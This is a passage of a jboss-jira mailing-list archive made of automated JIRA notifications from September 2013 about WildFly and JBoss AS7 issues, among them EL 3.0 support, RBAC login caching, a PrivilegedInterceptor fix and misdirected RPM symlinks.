> and it doesn't know which to inject. According to [1] it should only be
> considered a managed bean if "It is not annotated with an EJB
> component-defining annotation or declared as an EJB bean class in
> |ejb-jar.xml|." 
> The error:
> WELD-001409 Ambiguous dependencies for type [TestEjb] with qualifiers [@Default] at injection point [[field] @Inject test.webapp.TestService.testEjb].
> Possible dependencies [[Session bean [class test.TestEjb with qualifiers [@Any @Default]; local interfaces are [TestEjb], Managed Bean [class test.TestEjb] with qualifiers [@Any @Default]]] 
> @Stateless
> public class TestEjb
> {
> public String hello() {
> return "Hello";
> }
> }
> If I move all of the classes into the test war, then Weld doesn't have
> an issue, so it seems there is some difference when the code is put into
> the modules directory.
> [1] http://docs.jboss.org/weld/reference/1.0.1-Final/en-US/html_single/#d0e792 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 08:50:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Mon, 23 Sep 2013 08:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.39620.1379940604278@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806517#comment-12806517 ] 

David Lloyd commented on WFLY-519:
----------------------------------

Is the {{org.glassfish.javax.el}} module the EL3 RI, and is that what we're going to be using?
                
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 08:54:03 2013
From: jira-events at lists.jboss.org (Remy Maucherat (JIRA))
Date: Mon, 23 Sep 2013 08:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.39630.1379940843616@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806520#comment-12806520 ] 

Remy Maucherat commented on WFLY-519:
-------------------------------------

Yes, it is the EL3 RI + API (meh) used at the moment. The EL 3 impl from Tomcat is still a bit young (Tomcat 8 being alpha) so not well tested. I hope it will get there soon enough, otherwise it would be better to wait for the next WF to switch.
                
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 09:00:05 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Mon, 23 Sep 2013 09:00:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1175) Remove EL JARs from Hibernate
 Validator module
In-Reply-To: <JIRA.12489906.1366372850000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489906.1366372850000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489906.1366372850000.39650.1379941205802@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1175?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-1175.
-------------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done


OK I'm going to mark this as done then.  The RI might not be our long-term solution but it is very likely to be the one we use for 8.x at least.
                
> Remove EL JARs from Hibernate Validator module
> ----------------------------------------------
>
>                 Key: WFLY-1175
>                 URL: https://issues.jboss.org/browse/WFLY-1175
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>            Reporter: Gunnar Morling
>            Assignee: David Lloyd
>             Fix For: 8.0.0.Beta1
>
>
> With AS7-6665 (Update of the Hibernate Validator module to HV 5), the Unified EL RI JARs were added to the HV module in order to satisfy the dependency to the EL API added as of HV5/BV 1.1. These module internal JARs should be removed once there is an AS module providing an EL implementation usable for all kinds of deployments.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 09:02:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Mon, 23 Sep 2013 09:02:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.39658.1379941324198@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-519.
------------------------------

    Resolution: Done


OK, I'm going to mark this as "complete" then.  If you decide it is appropriate to change to Tomcat's (or some other impl), or if any new problems come up in testing, then we can use separate JIRAs for that.

Thanks.
                
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 09:26:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 23 Sep 2013 09:26:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.39806.1379942764056@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806535#comment-12806535 ] 

Darran Lofthouse commented on WFLY-2049:
----------------------------------------

[~heiko.braun] Could you please clarify what you mean by 'different browser' - are you talking about another completely different browser e.g. go from Chrome to Firefox or are you talking about a new window from the same browser you were using previously?
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 09:44:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 23 Sep 2013 09:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2130) Cryptic Error Message
 Manipulating Roles In Console
In-Reply-To: <JIRA.12501206.1379943786210@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501206.1379943786210@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501206.1379943786210.39834.1379943843934@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2130:
--------------------------------------

             Summary: Cryptic Error Message Manipulating Roles In Console
                 Key: WFLY-2130
                 URL: https://issues.jboss.org/browse/WFLY-2130
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse


The following message is getting logged repeatedly: -

{code}
[Host Controller] 14:41:11,990 ERROR [org.jboss.as.controller.client] (XNIO-1 task-9) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 6ae554c9 for operation composite at address [] failed handling operation rollback -- null
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 09:44:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 23 Sep 2013 09:44:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2130) Cryptic Error Message
 Manipulating Roles In Console
In-Reply-To: <JIRA.12501206.1379943786000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501206.1379943786000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501206.1379943786000.39837.1379943844129@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2130?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2130:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Cryptic Error Message Manipulating Roles In Console
> ---------------------------------------------------
>
>                 Key: WFLY-2130
>                 URL: https://issues.jboss.org/browse/WFLY-2130
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The following message is getting logged repeatedly: -
> {code}
> [Host Controller] 14:41:11,990 ERROR [org.jboss.as.controller.client] (XNIO-1 task-9) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 6ae554c9 for operation composite at address [] failed handling operation rollback -- null
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 09:54:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 23 Sep 2013 09:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.39857.1379944443878@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806548#comment-12806548 ] 

Tomaz Cerar commented on WFLY-519:
----------------------------------

Afaik problem is/was that we need split api and impl,  current gf one is all together.
Shelly has more details.
                
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 10:02:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Mon, 23 Sep 2013 10:02:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.39876.1379944924231@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806551#comment-12806551 ] 

David Lloyd commented on WFLY-519:
----------------------------------

We can deal with that in a separate JIRA if/when the time comes.
                
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 10:12:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 10:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1922) Test rbac for jmx in the
	testsuite
In-Reply-To: <JIRA.12499144.1377160350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499144.1377160350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499144.1377160350000.39905.1379945523480@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1922?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806559#comment-12806559 ] 

Brian Stansberry commented on WFLY-1922:
----------------------------------------

Can this be resolved? If so, please resolve for Beta1. Thanks!
                
> Test rbac for jmx in the testsuite
> ----------------------------------
>
>                 Key: WFLY-1922
>                 URL: https://issues.jboss.org/browse/WFLY-1922
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Ladislav Thon
>             Fix For: 8.0.0.CR1
>
>
> This has been done, and the PR is at https://github.com/wildfly/wildfly/pull/4948.
> I've added some tests in the subsystem itself JmxRbacEnabledTestCase & JmxRbacDisabledTestCase but it could probably do with further testing in the testsuite once it is in upstream.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 10:14:04 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 23 Sep 2013 10:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1756) Add access-control parameter
 to read-operation-description operation
In-Reply-To: <JIRA.12497280.1374684426000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497280.1374684426000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497280.1374684426000.39919.1379945644278@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1756?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806562#comment-12806562 ] 

Kabir Khan commented on WFLY-1756:
----------------------------------

This is not done
                
> Add access-control parameter to read-operation-description operation
> --------------------------------------------------------------------
>
>                 Key: WFLY-1756
>                 URL: https://issues.jboss.org/browse/WFLY-1756
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> Similar to read-resource-description

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 10:18:03 2013
From: jira-events at lists.jboss.org (Alexey Loubyansky (JIRA))
Date: Mon, 23 Sep 2013 10:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2131) read-operation-names to
 return a filtered list of allowed operations
In-Reply-To: <JIRA.12501207.1379945777853@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501207.1379945777853@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501207.1379945777853.39927.1379945883523@jira02.app.mwc.hst.phx2.redhat.com>

Alexey Loubyansky created WFLY-2131:
---------------------------------------

             Summary: read-operation-names to return a filtered list of allowed operations
                 Key: WFLY-2131
                 URL: https://issues.jboss.org/browse/WFLY-2131
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Alexey Loubyansky
            Assignee: Kabir Khan


As discussed on IRC with Kabir, Heiko and me, we agreed that read-operation-names should return only the operations the caller is permitted to execute.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 10:20:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 23 Sep 2013 10:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2001) JPA getNewTempClassLoader
 should support getPackage(String name)
In-Reply-To: <JIRA.12499967.1378309389000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499967.1378309389000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499967.1378309389000.39944.1379946004322@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2001?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806566#comment-12806566 ] 

Scott Marlow commented on WFLY-2001:
------------------------------------

In the pull request link (https://github.com/wildfly/wildfly/pull/5065), a test failure (NPE induced fro TempClassLoader) was reported.  I added the missing null check and believe that we are okay now.  Will close this issue after we get a few test runs in on windows.
                
> JPA getNewTempClassLoader should support getPackage(String name)
> ----------------------------------------------------------------
>
>                 Key: WFLY-2001
>                 URL: https://issues.jboss.org/browse/WFLY-2001
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 10:38:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 10:38:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-352) Add sufficient TRACE / DEBUG
 logging to debug security realm configurations.
In-Reply-To: <JIRA.12489981.1366392604000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489981.1366392604000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489981.1366392604000.40002.1379947084065@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-352?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806579#comment-12806579 ] 

RH Bugzilla Integration commented on WFLY-352:
----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 974324|https://bugzilla.redhat.com/show_bug.cgi?id=974324] from POST to MODIFIED
                
> Add sufficient TRACE / DEBUG logging to debug security realm configurations.
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-352
>                 URL: https://issues.jboss.org/browse/WFLY-352
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Eric Rich
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: jboss-as-domain-management-7.1.2.Final-redhat-1.jar, log_mgmt_auth_calls.txt
>
>
> When trying to diagnose LDAP or Admin Configuration issue in Domain mode there is currently no logging for any of the authentication information. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:00:50 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 11:00:50 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-6423) JBoss RPM doesn't adhere to LFS
In-Reply-To: <JIRA.12483879.1359571728000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483879.1359571728000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483879.1359571728000.12.1379948450894@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-6423?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806612#comment-12806612 ] 

RH Bugzilla Integration commented on AS7-6423:
----------------------------------------------

David Sastre Medina <d.sastre.medina at gmail.com> made a comment on [bug 1011067|https://bugzilla.redhat.com/show_bug.cgi?id=1011067]

Description of problem:

Default installation of JBoss EAP 6 provides wrong symlinks under /usr/share/jbossas/domain

How reproducible:

Always.

Steps to Reproduce:
1. yum groupinstall jboss-eap6
2. cd /usr/share/jbossas/domain
3. ls -lrt

Actual results:

# ls -lrt
total 0
lrwxrwxrwx. 1 jboss jboss 19 Sep 23 16:38 configuration -> /etc/jbossas/domain/
lrwxrwxrwx. 1 jboss jboss 23 Sep 23 16:38 data -> /var/tmp/jbossas/domain/
lrwxrwxrwx. 1 jboss jboss 25 Sep 23 16:38 tmp -> /var/cache/jbossas/domain/
lrwxrwxrwx. 1 jboss jboss 23 Sep 23 16:38 log -> /var/log/jbossas/domain/


Expected results:

# ls -lrt
total 0
lrwxrwxrwx. 1 jboss jboss 19 Sep 23 16:38 configuration -> /etc/jbossas/domain/
lrwxrwxrwx. 1 jboss jboss 23 Sep 23 16:38 data -> /var/cache/jbossas/domain/
lrwxrwxrwx. 1 jboss jboss 25 Sep 23 16:38 tmp -> /var/tmp/jbossas/domain/
lrwxrwxrwx. 1 jboss jboss 23 Sep 23 16:38 log -> /var/log/jbossas/domain/

Additional info:

Also reported here: 

 - http://lists.jboss.org/pipermail/jboss-jira/2013-January/230647.html
                
> JBoss RPM doesn't adhere to LFS
> -------------------------------
>
>                 Key: AS7-6423
>                 URL: https://issues.jboss.org/browse/AS7-6423
>             Project: Application Server 7
>          Issue Type: Enhancement
>          Components: Build System
>    Affects Versions: 7.1.2.Final (EAP)
>         Environment: Red Hat Enterprise Linux Server release 6.3 (Santiago)
>            Reporter: rafael liu
>            Assignee: Fernando Nasser
>            Priority: Minor
>              Labels: rpm
>
> In /usr/share/jbossas/domain links to tmp and data folders were mixed up:
> {noformat} 
> [domain]]# ls -l
> total 4
> lrwxrwxrwx. 1 jboss jboss   19 Jan  2 14:45 configuration -> /etc/jbossas/domain
> lrwxrwxrwx. 1 jboss jboss   23 Jan  2 14:45 data -> /var/tmp/jbossas/domain
> lrwxrwxrwx. 1 jboss jboss   23 Jan  2 14:45 log -> /var/log/jbossas/domain
> drwxrwxr-x. 5 jboss jboss 4096 Jan  2 16:02 servers
> lrwxrwxrwx. 1 jboss jboss   25 Jan  2 14:45 tmp -> /var/cache/jbossas/domain
> {noformat} 
> In /usr/share/jbossas/standalone tmp folder is not linked:
> {noformat} 
> [standalone]# ls -l
> total 12
> lrwxrwxrwx. 1 jboss jboss   23 Jan  2 14:45 configuration -> /etc/jbossas/standalone
> drwxr-xr-x. 2 jboss jboss 4096 Jan  2 14:45 deployments
> drwxr-xr-x. 3 jboss jboss 4096 Jan  2 14:45 lib
> lrwxrwxrwx. 1 jboss jboss   27 Jan  2 14:45 log -> /var/log/jbossas/standalone
> drwxr-xr-x. 3 jboss jboss 4096 Jan  2 14:45 tmp
> {noformat} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:00:51 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 23 Sep 2013 11:00:51 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2132) Add PrivilegedInterceptor
 always if security manager is set
In-Reply-To: <JIRA.12501310.1379948285244@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501310.1379948285244@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501310.1379948285244.14.1379948451077@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2132:
-------------------------------------

             Summary: Add PrivilegedInterceptor always if security manager is set
                 Key: WFLY-2132
                 URL: https://issues.jboss.org/browse/WFLY-2132
             Project: WildFly
          Issue Type: Bug
          Components: EE
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


Currently the PrivilegedInterceptor is only added to the chain if WildflySecurityManager.isChecking() is true, instead it should always be added, otherwise the privileged action may not be run, and that means permissions will fail to check

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:00:51 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 23 Sep 2013 11:00:51 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2133) Add PrivilegedInterceptor
 always if security manager is set
In-Reply-To: <JIRA.12501311.1379948352317@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501311.1379948352317@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501311.1379948352317.19.1379948451391@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2133:
-------------------------------------

             Summary: Add PrivilegedInterceptor always if security manager is set
                 Key: WFLY-2133
                 URL: https://issues.jboss.org/browse/WFLY-2133
             Project: WildFly
          Issue Type: Bug
          Components: EE
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


Currently the PrivilegedInterceptor is only added to the chain if WildflySecurityManager.isChecking() is true, instead it should always be added, otherwise the privileged action may not be run, and that means permissions will fail to check

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:00:51 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 11:00:51 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-6423) JBoss RPM doesn't adhere to LFS
In-Reply-To: <JIRA.12483879.1359571728000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483879.1359571728000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483879.1359571728000.25.1379948451744@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/AS7-6423?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated AS7-6423:
-----------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1011067

    
> JBoss RPM doesn't adhere to LFS
> -------------------------------
>
>                 Key: AS7-6423
>                 URL: https://issues.jboss.org/browse/AS7-6423
>             Project: Application Server 7
>          Issue Type: Enhancement
>          Components: Build System
>    Affects Versions: 7.1.2.Final (EAP)
>         Environment: Red Hat Enterprise Linux Server release 6.3 (Santiago)
>            Reporter: rafael liu
>            Assignee: Fernando Nasser
>            Priority: Minor
>              Labels: rpm
>
> In /usr/share/jbossas/domain links to tmp and data folders were mixed up:
> {noformat} 
> [domain]]# ls -l
> total 4
> lrwxrwxrwx. 1 jboss jboss   19 Jan  2 14:45 configuration -> /etc/jbossas/domain
> lrwxrwxrwx. 1 jboss jboss   23 Jan  2 14:45 data -> /var/tmp/jbossas/domain
> lrwxrwxrwx. 1 jboss jboss   23 Jan  2 14:45 log -> /var/log/jbossas/domain
> drwxrwxr-x. 5 jboss jboss 4096 Jan  2 16:02 servers
> lrwxrwxrwx. 1 jboss jboss   25 Jan  2 14:45 tmp -> /var/cache/jbossas/domain
> {noformat} 
> In /usr/share/jbossas/standalone tmp folder is not linked:
> {noformat} 
> [standalone]# ls -l
> total 12
> lrwxrwxrwx. 1 jboss jboss   23 Jan  2 14:45 configuration -> /etc/jbossas/standalone
> drwxr-xr-x. 2 jboss jboss 4096 Jan  2 14:45 deployments
> drwxr-xr-x. 3 jboss jboss 4096 Jan  2 14:45 lib
> lrwxrwxrwx. 1 jboss jboss   27 Jan  2 14:45 log -> /var/log/jbossas/standalone
